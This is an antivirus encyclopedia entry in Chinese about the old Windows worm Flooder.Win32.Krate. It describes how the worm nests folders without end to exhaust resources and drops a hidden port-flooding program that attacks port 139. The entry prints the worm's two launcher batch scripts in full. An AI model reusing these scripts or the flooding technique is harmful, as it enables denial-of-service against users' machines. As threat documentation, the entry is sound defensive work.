病毒别名：Flooder.Win32.Krate[AVP] / Flooder.Win32.Krate[KV]

处理时间：

威胁级别：★★

中文名称：深水炸弹

病毒类型：蠕虫

影响系统：Win9x / WinNT

病毒行为:

这是一个疯狂创建子目录的病毒。它会在C盘下面创建文件夹begin，并在该目录中生成恶意BAT文件。随后就在该文件夹下疯狂创建子文件夹，子文件夹名字为"1",在某些子文件夹下会生成恶意BAT文件。它一直创建子文件直到不能在创建为止，消耗用户系统资源。在最深一层的目录里面生成端口炸弹病毒程序。

1.在C:\\begin生成文件begin.bat，内容为：

rem don't amaize why i am calling a !.bat file... or you look the rem code of the !.bat yourself... actually it's a too long path and rem xp doesn't support........

echo off

:br

cd 1

if exist run.bat goto bgn

) else (

goto :br

:bgn

start /low run.bat

goto end

:end

exit

2.在C:\\begin的某个子文件夹中生成文件run.bat和只读、隐藏文件$!.sys.dll，run.bat文件内容为：

echo off

:br

cd 1

if exist $!.sys.dll goto bgn

) else (

goto :br

:bgn

$!.sys.dll

goto end

:end

exit

$!.sys.dll其实是可执行程序，它是该病毒释放的端口炸弹病毒程序，默认是攻击139端口。